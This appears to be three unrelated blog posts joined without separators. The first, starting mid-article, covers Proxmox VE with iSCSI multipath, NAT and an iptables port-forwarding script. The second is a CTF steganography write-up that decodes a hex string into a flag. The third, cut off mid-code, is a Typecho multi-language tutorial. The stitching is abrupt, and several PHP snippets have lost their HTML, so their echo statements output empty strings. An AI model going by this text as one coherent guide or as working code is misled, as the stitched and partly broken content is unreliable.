[CENSORED] iscsiadm -m node -T iqn.2024-12.com.ceph:iscsi -p 192.168.128.252:3260 -o update -n node.session.auth.password -v [CENSORED] iscsiadm -m node -T iqn.2024-12.com.ceph:iscsi -p 192.168.128.250:3260 -o update -n node.session.auth.chap_algs -v MD5 (I don't know why the auth info needs to be written separately, but testing shows it won't log in without rewriting it.) Then, use: iscsiadm -m node -T iqn.2024-12.com.ceph:iscsi -p 192.168.128.250:3260 --login iscsiadm -m node -T iqn.2024-12.com.ceph:iscsi -p 192.168.128.252:3260 --login to log into the Targets. Then use: iscsiadm -m node -T iqn.2024-12.com.ceph:iscsi -p 192.168.128.250:3260 -o update -n node.startup -v automatic iscsiadm -m node -T iqn.2024-12.com.ceph:iscsi -p 192.168.128.252:3260 -o update -n node.startup -v automatic to enable automatic mounting on boot. At this point, checking disks with tools like lsblk should reveal two additional hard drives; in my case, sdb and sdc appeared. Configure Multipath To identify if it's a multipath device, I tried: /usr/lib/udev/scsi_id --whitelisted --device=/dev/sdb /usr/lib/udev/scsi_id --whitelisted --device=/dev/sdc Checking the scsi_id of the two disk devices revealed they were identical, confirming they are the same disk using multi-path for load balancing and failover. Install multipath-tools using apt: apt install multipath-tools Then, create /etc/multipath.conf and add: defaults { user_friendly_names yes find_multipaths yes } Configure multipathd to start on boot: systemctl start multipathd systemctl enable multipathd Then, use the following command to scan and automatically configure the multipath device: multipath -ll It should output: mpatha(360014056229953ef442476e85501bfd7)dm-0LIO-ORG,TCMU device size=500G features='1 queue_if_no_path' hwhandler='1 alua'wp=rw |-+- policy='service-time 0' prio=50 status=active | `- 14:0:0:152 sdb 8:16 active ready running `-+- policy='service-time 0' prio=50 status=active `- 14:0:0:152 sdc 8:16 active ready running This shows the two disks have been recognized as a single multipath device. Now, you can find the multipath disk under /dev/mapper/: root@localhost:/dev/mapper# ls control mpatha mpatha is the multipath aggregated disk. If it's not scanned, try using: rescan-scsi-bus.sh to rescan the SCSI bus and try again. If the command is not found, install it via apt install sg3-utils. If all else fails, just reboot. Configure Proxmox VE to Use the Data Disk Because we used multipath, we cannot directly add an iSCSI type storage. Use the following commands to create the PV and VG: pvcreate /dev/mapper/mpatha vgcreate <vg name> /dev/mapper/mpatha Here, I configured the entire disk as a PV. You could also create a separate partition for this. After completion, open the Proxmox VE management interface, go to Datacenter - Storage, click Add - LVM, select the name of the VG you just created for Volume group, give it an ID (name), and click Add. At this point, all configurations from the original system should have been migrated. Configure NAT and Port Forwarding NAT Because only one IPv4 address was purchased, NAT needs to be configured to allow all VMs to access the internet normally. Open /etc/network/interfaces and add the following content: auto vmbr0 iface vmbr0 inet static address 192.168.100.1 netmask 255.255.255.0 bridge_ports none bridge_stp off bridge_fd 0 post-up echo 1 > /proc/sys/net/ipv4/ip_forward post-up iptables -t nat -A POSTROUTING -s 192.168.100.0/24 -o ens6f0 -j MASQUERADE post-up iptables -t raw -I PREROUTING -i fwbr+ -j CT --zone 1 post-up iptables -A FORWARD -i vmbr0 -j ACCEPT post-down iptables -t nat -D POSTROUTING -s 192.168.100.0/24 -o ens6f0 -j MASQUERADE post-down iptables -t raw -D PREROUTING -i fwbr+ -j CT --zone 1 post-down iptables -D FORWARD -i vmbr0 -j ACCEPT Here, vmbr0 is the NAT bridge, with the IP segment 192.168.100.0/24. Traffic from this segment will be translated to the IP of the external network interface ens6f0 for outgoing traffic, and translated back to the original IP upon receiving replies, enabling IP sharing. Then, use: ifreload -a to reload the configuration. Now, the VMs should be able to access the internet. Just configure a static IP within the 192.168.100.0/24 range during installation, set the default gateway to 192.168.100.1, and configure the DNS address. Port Forwarding Got lazy, directly prompted an AI. Had an AI write a configuration script /usr/local/bin/natmgr: #!/bin/bash # =================Configuration Area================= # Public network interface name (Please modify according to your actual situation) PUB_IF="ens6f0" # ==================================================== ACTION=$1 ARG1=$2 ARG2=$3 ARG3=$4 ARG4=$5 # Check if running as root if [ "$EUID" -ne 0 ]; then echo "Please run this script with root privileges" exit 1 fi # Generate random ID (6 characters) generate_id() { # Introduce nanoseconds and random salt to ensure ID uniqueness even if the script runs quickly echo "$RANDOM $(date +%s%N)" | md5sum | head -c 6 } # Show help information usage() { echo "Usage: $0 {add|del|list|save} [parameters]" echo "" echo "Commands:" echo " add <Public Port> <Internal IP> <Internal Port> [Protocol] Add forwarding rule" echo " [Protocol] optional: tcp, udp, both (default: both)" echo " del <ID> Delete forwarding rule by ID" echo " list View all current forwarding rules" echo " save Save current rules to persist after reboot (Must run!)" echo "" echo "Examples:" echo " $0 add 8080 192.168.100.101 80 both" echo " $0 save" echo "" } # Internal function: add single protocol rule _add_single_rule() { local PROTO=$1 local L_PORT=$2 local T_IP=$3 local T_PORT=$4 local RULE_ID=$(generate_id) local COMMENT="NAT_ID:${RULE_ID}" # 1. Add DNAT rule (PREROUTING chain) iptables -t nat -A PREROUTING -i $PUB_IF -p $PROTO --dport $L_PORT -j DNAT --to-destination $T_IP:$T_PORT -m comment --comment "$COMMENT" # 2. Add FORWARD rule (Allow packet passage) iptables -A FORWARD -p $PROTO -d $T_IP --dport $T_PORT -m comment --comment "$COMMENT" -j ACCEPT # Output result printf "%-10s %-10s %-10s %-20s %-10s\n" "$RULE_ID" "$PROTO" "$L_PORT" "$T_IP:$T_PORT" "Success" # Remind user to save echo "Please run '$0 save' to ensure rules persist after reboot." } # Main add function add_rule() { local L_PORT=$1 local T_IP=$2 local T_PORT=$3 local PROTO_REQ=${4:-both} # Default to both if | -z "$T_IP" || -z "$T_PORT" ; then echo "Error: Missing parameters" usage exit 1 fi # Convert to lowercase PROTO_REQ=$(echo "$PROTO_REQ" | tr '[:upper:]' '[:lower:]') echo "Adding rule..." printf "%-10s %-10s %-10s %-20s %-10s\n" "ID" "Protocol" "Public Port" "Target Address" "Status" echo "------------------------------------------------------------------" if "$PROTO_REQ" == "tcp" ; then _add_single_rule "tcp" "$L_PORT" "$T_IP" "$T_PORT" elif "$PROTO_REQ" == "udp" ; then _add_single_rule "udp" "$L_PORT" "$T_IP" "$T_PORT" elif "$PROTO_REQ" == "both" ; then _add_single_rule "tcp" "$L_PORT" "$T_IP" "$T_PORT" _add_single_rule "udp" "$L_PORT" "$T_IP" "$T_PORT" else echo "Error: Unsupported protocol '$PROTO_REQ'. Please use tcp, udp, or both." exit 1 fi echo "------------------------------------------------------------------" } # Delete rule (Delete in reverse line number order) del_rule() { local RULE_ID=$1 if -z "$RULE_ID" ; then echo "Error: Please provide rule ID" usage exit 1 fi echo "Searching for rule with ID [${RULE_ID}]..." local FOUND=0 # --- Clean NAT table (PREROUTING) --- LINES=$(iptables -t nat -nL PREROUTING --line-numbers | grep "NAT_ID:${RULE_ID}" | awk '{print $1}' | sort -rn) if ! -z "$LINES" ; then for line in $LINES; do iptables -t nat -D PREROUTING $line echo "Deleted NAT table PREROUTING chain line $line" FOUND=1 done fi # --- Clean Filter table (FORWARD) --- LINES=$(iptables -t filter -nL FORWARD --line-numbers | grep "NAT_ID:${RULE_ID}" | awk '{print $1}' | sort -rn) if ! -z "$LINES" ; then for line in $LINES; do iptables -t filter -D FORWARD $line echo "Deleted Filter table FORWARD chain line $line" FOUND=1 done fi if $FOUND -eq 0 ; then echo "No rule found with ID $RULE_ID." else echo "Delete operation completed." echo "Please run '$0 save' to update the persistent configuration file." fi } # Save rules to disk (New feature) save_rules() { echo "Saving current iptables rules..." # netfilter-persistent is the service managing iptables-persistent in Debian/Proxmox if command -v netfilter-persistent &> /dev/null; then netfilter-persistent save if [ $? -eq 0 ]; then echo "✅ Rules successfully saved to /etc/iptables/rules.v4, will be automatically restored after system reboot." else echo "❌ Failed to save rules. Please check the status of the 'netfilter-persistent' service." fi else echo "Warning: 'netfilter-persistent' command not found." echo "Please ensure the 'iptables-persistent' package is installed." echo "Install command: apt update && apt install iptables-persistent" fi } # List rules list_rules() { echo "Current Port Forwarding Rules List:" printf "%-10s %-10s %-10s %-20s %-10s\n" "ID" "Protocol" "Public Port" "Target Address" "Target Port" echo "------------------------------------------------------------------" # Parse iptables output iptables -t nat -nL PREROUTING -v | grep "NAT_ID:" | while read line; do id=$(echo "$line" | grep -oP '(?<=NAT_ID:)[^ ]*') # Extract protocol if echo "$line" | grep -q "tcp"; then proto="tcp"; else proto="udp"; fi # Extract port after dpt: l_port=$(echo "$line" | grep -oP '(?<=dpt:)[0-9]+') # Extract IP:Port after to: target=$(echo "$line" | grep -oP '(?<=to:).*') t_ip=${target%:*} t_port=${target#*:} printf "%-10s %-10s %-10s %-20s %-10s\n" "$id" "$proto" "$l_port" "$t_ip" "$t_port" done } # Main logic case "$ACTION" in add) add_rule "$ARG1" "$ARG2" "$ARG3" "$ARG4" ;; del) del_rule "$ARG1" ;; list) list_rules exit 0 ;; save) save_rules ;; *) usage exit 1 ;; esac save_rules This script automatically adds/deletes iptables rules for port forwarding. Remember to chmod +x. Use iptables-persistent to save the configuration and load it automatically on boot: apt install iptables-persistent During configuration, you will be asked whether to save the current rules; Yes or No is fine. When adding a forwarding rule, use natmgr add <host listen port> <VM internal IP> <VM port> [tcp/udp/both]. The script will automatically assign a unique ID. Use natmgr del <ID> to delete. Use natmgr list to view the existing forwarding list. Reference Articles: bin456789/reinstall: 一键DD/重装脚本 (One-click reinstall OS on VPS) - GitHub Install Proxmox VE on Debian 12 Bookworm - Proxmox VE PVE连接 TrueNAS iSCSI存储实现本地无盘化_pve iscsi-CSDN博客 ProxmoxVE (PVE) NAT 网络配置方法 - Oskyla 烹茶室
Open the file using 010 Editor and find a ZIP header at the end: Extract it and open it to find no password, just a string of base64: [binary] Decode to get: 你这苹果怎么这么大 大个儿才值钱你要不要 这桃子怎么这么硬 硬是因为新鲜你要软的还是糯的 这西瓜能吃吗看起来有点不熟 不熟的西瓜怎么可能你这就是等着吃甜的 你这柚子这么小 小巧的才好吃你要大个的还是好吃的 这橙子怎么这么酸 酸才是正宗的橙子你要是甜的去别家看 这香蕉有点弯 弯的香蕉更甜你不懂 你这梨子是不是有点硬 硬是因为新鲜吃着有口感 这葡萄怎么这么小 小的葡萄更浓缩甜味 At the same time, it is found that there is still part of unrecognized data at the end of the exported zip: Based on the 1A 9E 97 BA 2A, it can be inferred that this is OurSecret steganography. Open it with the OurSecret tool and find that a password is required. Try the password shuiguo to extract a txt file: 你这柚子这么小 你这柚子这么小 你这柚子这么小 你这梨子是不是有点硬 你这柚子这么小 大个儿才值钱你要不要 你这柚子这么小 小巧的才好吃你要大个的还是好吃的 小巧的才好吃你要大个的还是好吃的 弯的香蕉更甜你不懂 硬是因为新鲜你要软的还是糯的 硬是因为新鲜你要软的还是糯的 你这柚子这么小 不熟的西瓜怎么可能你这就是等着吃甜的 硬是因为新鲜你要软的还是糯的 这桃子怎么这么硬 硬是因为新鲜你要软的还是糯的 不熟的西瓜怎么可能你这就是等着吃甜的 硬是因为新鲜你要软的还是糯的 酸才是正宗的橙子你要是甜的去别家看 硬是因为新鲜你要软的还是糯的 你这柚子这么小 硬是因为新鲜你要软的还是糯的 你这苹果怎么这么大 你这柚子这么小 大个儿才值钱你要不要 硬是因为新鲜你要软的还是糯的 小巧的才好吃你要大个的还是好吃的 硬是因为新鲜你要软的还是糯的 酸才是正宗的橙子你要是甜的去别家看 你这柚子这么小 这西瓜能吃吗看起来有点不熟 你这柚子这么小 这桃子怎么这么硬 你这柚子这么小 硬是因为新鲜你要软的还是糯的 硬是因为新鲜你要软的还是糯的 你这柚子这么小 硬是因为新鲜你要软的还是糯的 酸才是正宗的橙子你要是甜的去别家看 你这柚子这么小 这桃子怎么这么硬 硬是因为新鲜你要软的还是糯的 你这柚子这么小 硬是因为新鲜你要软的还是糯的 小巧的才好吃你要大个的还是好吃的 硬是因为新鲜你要软的还是糯的 这西瓜能吃吗看起来有点不熟 你这柚子这么小 硬是因为新鲜你要软的还是糯的 你这柚子这么小 这西瓜能吃吗看起来有点不熟 硬是因为新鲜你要软的还是糯的 这西瓜能吃吗看起来有点不熟 你这柚子这么小 不熟的西瓜怎么可能你这就是等着吃甜的 你这柚子这么小 硬是因为新鲜你要软的还是糯的 硬是因为新鲜你要软的还是糯的 你这柚子这么小 硬是因为新鲜你要软的还是糯的 小巧的才好吃你要大个的还是好吃的 你这柚子这么小 大个儿才值钱你要不要 硬是因为新鲜你要软的还是糯的 小巧的才好吃你要大个的还是好吃的 硬是因为新鲜你要软的还是糯的 这桃子怎么这么硬 你这柚子这么小 硬是因为新鲜你要软的还是糯的 硬是因为新鲜你要软的还是糯的 你这柚子这么小 硬是因为新鲜你要软的还是糯的 这桃子怎么这么硬 小巧的才好吃你要大个的还是好吃的 硬是因为新鲜吃着有口感 It is found that this corresponds one-to-one with the previously extracted statements. Since there are 16 statements extracted earlier, it is speculated that they represent hexadecimal digits, corresponding to 0-f respectively. Then, map the OurSecret decrypted content to hexadecimal numbers to obtain: 666c61677b33653235393630613739646263363962363734636434656336376137326336327d. Write a Python script to convert the hexadecimal string to ASCII characters in groups of two: hex_string = "666c61677b33653235393630613739646263363962363734636434656336376137326336327d" ascii_string = ''.join([chr(int(hex_string[i:i+2], 16)) for i in range(0, len(hex_string), 2)]) print(ascii_string) Get the Flag: flag{3e25960a79dbc69b674cd4ec67a72c62}
Configuring a Simple Multi-language Solution for Typecho
I wanted to add internationalization support to my blog, providing a separate English version for each post and page. However, after searching online, I found that Typecho has poor support for i18n. Eventually, I designed my own solution and am documenting it here. This article assumes you have some basic understanding of PHP, Nginx, and Typecho's core logic. Analysis Requirements Need to provide both Chinese and English versions for each post and page. Need to configure a language switcher so users can easily switch languages on the frontend. Need search engines to correctly identify and index the multi-language versions of the content. Proposed Solution There are roughly two main schemes for distinguishing between Chinese and English content: Use a separate parameter, like accessing posts with /?lang=zh-CN and /?lang=en-US. However, this scheme is relatively difficult to implement and less friendly for search engine indexing. Distinguish via the URL path, e.g., https://<host>/article for the Chinese page and https://<host>/en/article for the English page. This is simpler to configure (essentially setting up two separate Typecho instances) and is more search engine friendly. The challenge is that comments and view counts need to be manually synchronized. After summarizing, I chose the second scheme and planned to implement multi-language support by creating a new Typecho instance directly under the /en/ path. Implementation Plan First, duplicate the blog instance into two copies: one for Chinese and one for English, then translate the English copy. Modify the frontend code to implement the language switcher. To ensure the article URLs between the two sites only differ by the /en prefix, the cid (content ID) for corresponding articles must be the same. Since cid is auto-incremented based on the order of creating posts and attachments, I plan to write a sync plugin. When a post is published on the Chinese site, it automatically inserts a corresponding article with the same cid in the English database. Modify the SiteMap plugin. Because a sitemap cannot both contain page links and references to other sitemaps, the main site needs to create two sitemaps: one main sitemap containing the Chinese site pages, and another index sitemap responsible for indexing both the Chinese and English sitemaps. Add the hreflang attribute within the section to inform search engines about the multi-language handling. Link the view counts and like counts from the English site to the Chinese database. Sync the comments between two instances. Let's Do It Create the English Instance Copy the entire website directory and place it in the /en/ folder under the original web root. Also, duplicate the database; I named the new one typecho_en. Next, configure URL rewrite (pseudo-static) rules for both instances: location /en/ { if (!-e $request_filename) { rewrite ^(.*)$ /en/index.php$1 last; } } location / { if (!-e $request_filename) { rewrite ^(.*)$ /index.php$1 last; } } The reason for wrapping the main Chinese instance's rules in a location block is that during testing, I found that without it, the English instance might be parsed as part of the Chinese instance, leading to 404 errors. Also, modify the database configuration in <webroot>/en/config.inc.php to point to the English instance's database. At this point, accessing <host>/en/ should display a site identical to the main Chinese site. Modify Typecho Language This step might be optional since the frontend language is largely determined by the theme. Changing Typecho's backend language isn't strictly necessary but helps for consistency (and makes it easy to tell which admin panel you're in!). Simply refer to the official Typecho multi-language support on GitHub. Download the language pack from the Releases and extract it to <webroot>/en/usr/langs/. Then, navigate to https://<host>/en/admin/options-general.php, where you should see the language setting option. Change it to English. Translate the Theme This is the most tedious step. I use the Joe theme. Go to <webroot>/en/usr/themes/Joe and translate all the Chinese text related to display into English. There's no very convenient method here; machine translation often sounds awkward, so I opted for manual translation. Note that some frontend configurations are within JS files, not just PHP source files. These need translation too. Translate Articles This step is self-explanatory. Translate the articles under /en/ one by one into English and save them. Configure Article Sync Publishing This step ensures the cid remains synchronized between corresponding articles on both sites. Since cid relates to the access URL, keeping them in sync simplifies the language switcher configuration later—just adding or removing /en from the host. cid is an auto-incrementing primary key field in the typecho_contents table. Its assignment is also related to attachments in Typecho. Since I plan to upload all attachments to the Chinese site, without special handling, the cid values can easily become misaligned, increasing subsequent work. Therefore, my chosen solution is to use AI to help write a plugin that triggers when the Chinese site publishes an article. It reads the cid assigned by the Chinese site and writes a corresponding entry into the English site's database. Create the file <webroot>/usr/plugins/SyncToEnglish/Plugin.php and fill it with the following content: <?php if (!defined('__TYPECHO_ROOT_DIR__')) exit; /** * Sync Chinese Articles to English Database * * @package SyncToEnglish * @author ChatGPT, iYoRoy * @version 1.0.0 * @link https://example.com */ class SyncToEnglish_Plugin implements Typecho_Plugin_Interface { public static function activate() { Typecho_Plugin::factory('Widget_Contents_Post_Edit')->finishPublish = [__CLASS__, 'push']; return 'SyncToEnglish plugin activated: Empty corresponding articles will be automatically created in the English database when Chinese articles are published.'; error_log("[SyncToEnglish] Plugin activated successfully"); } public static function deactivate() { return 'SyncToEnglish plugin deactivated'; } public static function config(Typecho_Widget_Helper_Form $form) { $host = new Typecho_Widget_Helper_Form_Element_Text('host', NULL, 'localhost', _t('English DB Host')); $user = new Typecho_Widget_Helper_Form_Element_Text('user', NULL, 'root', _t('English DB Username')); $password = new Typecho_Widget_Helper_Form_Element_Password('password', NULL, NULL, _t('English DB Password')); $database = new Typecho_Widget_Helper_Form_Element_Text('database', NULL, 'typecho_en', _t('English DB Name')); $port = new Typecho_Widget_Helper_Form_Element_Text('port', NULL, '3306', _t('English DB Port')); $charset = new Typecho_Widget_Helper_Form_Element_Text('charset', NULL, 'utf8mb4', _t('Charset')); $prefix = new Typecho_Widget_Helper_Form_Element_Text('prefix', NULL, 'typecho_', _t('Table Prefix')); $form->addInput($host); $form->addInput($user); $form->addInput($password); $form->addInput($database); $form->addInput($port); $form->addInput($charset); $form->addInput($prefix); } public static function personalConfig(Typecho_Widget_Helper_Form $form) {} public static function push($contents, $widget) { $options = Helper::options(); $config = $options->plugin('SyncToEnglish'); // Get article info from Chinese database $cnDb = Typecho_Db::get(); if (is_array($contents) && isset($contents['cid'])) { $cid = $contents['cid']; $title = $contents['title']; } elseif (is_object($contents) && isset($contents->cid)) { $cid = $contents->cid; $title = $contents->title; } else { $db = Typecho_Db::get(); $row = $db->fetchRow($db->select()->from('table.contents')->order('cid', Typecho_Db::SORT_DESC)->limit(1)); $cid = $row['cid']; $title = $row['title']; error_log("[SyncToEnglish DEBUG] CID not found in param, fallback to latest cid={$cid}\n", 3, __DIR__ . '/debug.log'); } $article = $cnDb->fetchRow($cnDb->select()->from('table.contents')->where('cid = ?', $cid)); if (!$article) return; $enDb = new Typecho_Db('Mysql', $config->prefix); $enDb->addServer([ 'host' => $config->host, 'user' => $config->user, 'password' => $config->password, 'charset' => $config->charset, 'port' => (int)$config->port, 'database' => $config->database ], Typecho_Db::READ | Typecho_Db::WRITE); try { $exists = $enDb->fetchRow($enDb->select()->from('table.contents')->where('cid = ?', $article['cid'])); if ($exists) { $enDb->query($enDb->update('table.contents') ->rows([ // 'title' => $article['title'], 'slug' => $article['slug'], 'modified' => $article['modified'] ]) ->where('cid = ?', $article['cid']) ); } else { $enDb->query($enDb->insert('table.contents')->rows([ 'cid' => $article['cid'], 'title' => $article['title'], 'slug' => $article['slug'], 'created' => $article['created'], 'modified' => $article['modified'], 'type' => $article['type'], 'status' => $article['status'], 'authorId' => $article['authorId'], 'views' => 0, 'text' => $article['text'], 'allowComment' => $article['allowComment'], 'allowFeed' => $article['allowFeed'], 'allowPing' => $article['allowPing'] ])); } } catch (Exception $e) { error_log('[SyncToEnglish] Sync failed: ' . $e->getMessage()); } } } Then, go to the admin backend, enable the plugin, and configure the English database information. After completion, publishing an article on the Chinese site should automatically publish an article with the same cid on the English site. Configure the Language Switcher Since we have synchronized the article cid, switching languages now only requires modifying the URL by adding or removing the /en/ prefix. We can create a switcher using PHP and place it in the theme's header: Language <path d="M561.873 725.165c-11.262 11.262-26.545 21.72-41.025 18.502-14.479 2.413-28.154-8.849-39.415-18.502L133.129 375.252c-17.697-17.696-17.697-46.655 0-64.352s46.655-17.696 64.351 0l324.173 333.021 324.977-333.02c17.696-17.697 46.655-17.697 64.351 0s17.697 46.655 0 64.351L561.873 725.165z" fill="var(--main)" /> <?php // Get the current full URL $current_url = $_SERVER['REQUEST_URI']; $host = $_SERVER['HTTP_HOST']; // Check if there is an English prefix "/en/" if (strpos($current_url, '/en/') === 0) { $current_url = substr_replace($current_url, '', 0, 3); } $new_url_cn = 'https://' . $host . $current_url; $new_url_en = 'https://' . $host . '/en' . $current_url; // Generate the two hyperlinks echo '简体中文'; echo 'English'; ?> This needs to be added to both the Chinese and English instances. After this, the language selector should be available globally. For the Joe theme I use, separate language selectors needed to be written for mobile and PC views. Modify the SiteMap Plugin To help search engines index the English pages faster, I decided to modify the SiteMap plugin to include the English site's pages. There are two types of sitemaps: sitemapindex (for indexing sub-sitemaps) and urlset (for containing page URLs). I use the joyqi/typecho-plugin-sitemap plugin. Based on this, I changed the default /sitemap.xml to a sitemapindex, created a new route /sitemap_cn.xml to hold the Chinese site's sitemap, left the English site's plugin unchanged (its sitemap remains at /en/sitemap.xml), and had the main index sitemap reference both /sitemap_cn.xml and /en/sitemap.xml. Modify the SiteMap's Plugin.php: /** * Activate plugin method, if activated failed, throw exception will disable this plugin. */ public static function activate() { Helper::addRoute( - 'sitemap', + 'sitemap_index', '/sitemap.xml', Generator::class, - 'generate', + 'generate_index', 'index' ); + Helper::addRoute( + 'sitemap_cn', + '/sitemap_cn.xml', + Generator::class, + 'generate_cn', + 'index' + ); } /** * Deactivate plugin method, if deactivated failed, throw exception will enable this plugin. */ public static function deactivate() { - Helper::removeRoute('sitemap'); + Helper::removeRoute('sitemap_index'); + Helper::removeRoute('sitemap_cn'); } {collapse} {collapse-item label="Complete code"} <?php namespace TypechoPlugin\Sitemap; use Typecho\Plugin\PluginInterface; use Typecho\Widget\Helper\Form; use Utils\Helper; if (!defined('__TYPECHO_ROOT_DIR__')) { exit; } /** * Plugin to automatically generate a sitemap for Typecho. * The sitemap URL is: http(s)://yourdomain.com/sitemap.xml * * @package Sitemap Plugin * @author joyqi * @version 1.0.0 * @since 1.2.1 * @link https://github.com/joyqi/typecho-plugin-sitemap */ class Plugin implements PluginInterface { /** * Activate plugin method, if activated failed, throw exception will disable this plugin. */ public static function activate() { Helper::addRoute( 'sitemap_index', '/sitemap.xml', Generator::class, 'generate_index', 'index' ); Helper::addRoute( 'sitemap_cn', '/sitemap_cn.xml', Generator::class, 'generate_cn', 'index' ); } /** * Deactivate plugin method, if deactivated failed, throw exception will enable this plugin. */ public static function deactivate() { Helper::removeRoute('sitemap_index'); Helper::removeRoute('sitemap_cn'); } /** * Plugin config panel render method. * * @param Form $form */ public static function config(Form $form) { $sitemapBlock = new Form\Element\Checkbox( 'sitemapBlock', [ 'posts' => _t('Generate post links'), 'pages' => _t('Generate page links'), 'categories' => _t('Generate category links'), 'tags' => _t('Generate tag links'), ], ['posts', 'pages', 'categories', 'tags'], _t('Sitemap Display') ); $updateFreq = new Form\Element\Select( 'updateFreq', [ 'daily' => _t('Daily'), 'weekly' => _t('Weekly'), 'monthly' => _t('Monthly or less often'), ], 'daily', _t('Update Frequency') ); // $externalSitemap = new Typecho_Widget_Helper_Form_Element_Text('externalSitemap', NULL, '', _t('Additional Sitemap')); $form->addInput($sitemapBlock->multiMode()); $form->addInput($updateFreq); // $form->addInput($externalSitemap); } /** * Plugin personal config panel render method. * * @param Form $form */ public static function personalConfig(Form $form) { // TODO: Implement personalConfig() method. } } {/collapse-item} {/collapse} Modify the SiteMap's Generator.php: class Generator extends Contents { + public function generate_index(){ + $sitemap = '<?xml version="1.0" encoding="UTF-8"?> +<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"> + <sitemap> + <loc>https://www.iyoroy.cn/sitemap_cn.xml</loc> + </sitemap> + <sitemap> + <loc>https://www.iyoroy.cn/en/sitemap.xml</loc> + </sitemap> +</sitemapindex>'; + $this->response->throwContent($sitemap, 'text/xml'); + } + /** * @return void */ - public function generate() + public function generate_cn() { $sitemap = '<?xml version="1.0" encoding="' . $this->options->charset . '"?>' . PHP_EOL; ... {collapse} {collapse-item label="Complete code"} <?php namespace TypechoPlugin\Sitemap; use Widget\Base\Contents; use Widget\Contents\Page\Rows; use Widget\Contents\Post\Recent; use Widget\Metas\Category\Rows as CategoryRows; use Widget\Metas\Tag\Cloud; if (!defined('__TYPECHO_ROOT_DIR__')) { exit; } /** * Sitemap Generator */ class Generator extends Contents { public function generate_index(){ $sitemap = '<?xml version="1.0" encoding="UTF-8"?> <sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"> <sitemap> <loc>https://www.iyoroy.cn/sitemap_cn.xml</loc> </sitemap> <sitemap> <loc>https://www.iyoroy.cn/en/sitemap.xml</loc> </sitemap> </sitemapindex>'; $this->response->throwContent($sitemap, 'text/xml'); } /** * @return void */ public function generate_cn() { $sitemap = '<?xml version="1.0" encoding="' . $this->options->charset . '"?>' . PHP_EOL; $sitemap .= '<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"' . ' xmlns:news="http://www.google.com/schemas/sitemap-news/0.9"' . ' xmlns:xhtml="http://www.w3.org/1999/xhtml"' . ' xmlns:image="http://www.google.com/schemas/sitemap-image/1.1"' . ' xmlns:video="http://www.google.com/schemas/sitemap-video/1.1">' . PHP_EOL; // add homepage $sitemap .= <<<EOF <url> <loc>{$this->options->siteUrl}</loc> <changefreq>daily</changefreq> <priority>1.0</priority> </url> EOF; // add posts if (in_array('posts', $this->options->plugin('Sitemap')->sitemapBlock)) { $postsCount = $this->size($this->select() ->where('table.contents.status = ?', 'publish') ->where('table.contents.created < ?', $this->options->time) ->where('table.contents.type = ?', 'post')); $posts = Recent::alloc(['pageSize' => $postsCount]); $freq = $this->options->plugin('Sitemap')->updateFreq ==='monthly' ? 'monthly' : 'weekly'; while ($posts->next()) { $sitemap .= <<<EOF <url> <loc>{$posts->permalink}</loc> <changefreq>{$freq}</changefreq> <lastmod>{$posts->date->format('c')}</lastmod> <priority>0.8</priority> </url> EOF; } } // add pages if (in_array('pages', $this->options->plugin('Sitemap')->sitemapBlock)) { $pages = Rows::alloc(); $freq = $this->options->plugin('Sitemap')->updateFreq ==='monthly' ? 'yearly' : 'monthly'; while ($pages->next()) { $sitemap .= <<<EOF <url> <loc>{$pages->permalink}</loc> <changefreq>{$freq}</changefreq> <lastmod>{$pages->date->format('c')}</lastmod> <priority>0.5</priority> </url> EOF; } } // add categories if (in_array('categories', $this->options->plugin('Sitemap')->sitemapBlock)) { $categories = CategoryRows::alloc(); $freq = $this->options->plugin('Sitemap')->updateFreq; while ($categories->next()) { $sitemap .= <<<EOF <url> <loc>{$categories->permalink}</loc> <changefreq>{$freq}</changefreq> <priority>0.6</priority> </url> EOF; } } // add tags if (in_array('tags', $this->options->plugin('Sitemap')->sitemapBlock)) { $tags = Cloud::alloc(); $freq = $this->options->plugin('Sitemap')->updateFreq; while ($tags->next()) { $sitemap .= <<<EOF <url> <loc>{$tags->permalink}</loc> <changefreq>{$freq}</changefreq> <priority>0.4</priority> </url> EOF; } } $sitemap .= '</urlset>'; $this->response->throwContent($sitemap, 'text/xml'); } } {/collapse-item} {/collapse} Please replace the blog URL in the code with your own. (I was too busy recently to create a separate configuration page, so I hardcoded the Sitemap URLs into the plugin for now.) Disable and then re-enable the plugin. Visiting https://<host>/sitemap.xml should now show the sitemap index: <sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"> <sitemap> <loc>https://www.iyoroy.cn/sitemap_cn.xml</loc> </sitemap> <sitemap> <loc>https://www.iyoroy.cn/en/sitemap.xml</loc> </sitemap> </sitemapindex> You should also be able to see that search engines like Bing Webmaster Tools have detected the English site's sitemap: Add hreflang This step informs search engines that the current page has multi-language versions, allowing them to show the appropriate page based on user language preference or location. We need to insert link tags like the following format within the section: Here, hreflang="x-default" indicates the default language for the page. The value of hreflang is composed of an ISO 639-1 language code and an optional ISO 3166-1 Alpha-2 region code (e.g., distinguishing between en, en-US and en-UK). Add the following content to the relevant section of your theme's : <?php // Get the current full URL $current_url = $_SERVER['REQUEST_URI']; $host = $_SERVER['HTTP_HOST']; // Check if there is an English prefix "/en/" if (strpos($current_url, '/en/') === 0) { $current_url = substr_replace($current_url, '', 0, 3); } $new_url_cn = 'https://' . $host . $current_url; $new_url_en = 'https://' . $host . '/en' . $current_url; // Generate the link tags echo ' '; echo ' '; echo ' '; ?> This needs to be added to both the Chinese and English sites. After this, you should find the corresponding hreflang configuration in the section of your website pages. Sync Like Counts and View Counts This step is highly theme-dependent and might not apply to all themes. I use the Joe theme, which handles reading and writing like counts and view counts to the database directly. I modified the English instance's theme code to read and write these values directly from/to the Chinese instance's database. Modify the function that retrieves view counts in <webroot>/en/usr/themes/Joe/core/function.php: /* Query Post Views */ function _getViews($item, $type = true) { - $db = Typecho_Db::get(); + // $db = Typecho_Db::get(); + $db = new Typecho_Db('Mysql', 'typecho_' /* Prefix */); + $db->addServer([ + 'host' => 'mysql', + 'user' => 'typecho', + 'password' => '[CENSORED]', + 'charset' => 'utf8mb4', + 'port' => 3306, + 'database' => 'typecho' + ], Typecho_Db::READ | Typecho_Db::WRITE); $result = $db->fetchRow($db->select('views')->from('table.contents')->where('cid = ?', $item->cid))['views']; if ($type) echo number_format($result); else return number_format($result); } Modify the function that retrieves like counts in <webroot>/en/usr/themes/Joe/core/function.php: /* Query Post Like Count */ function _getAgree($item, $type = true) { - $db = Typecho_Db::get(); + // $db = 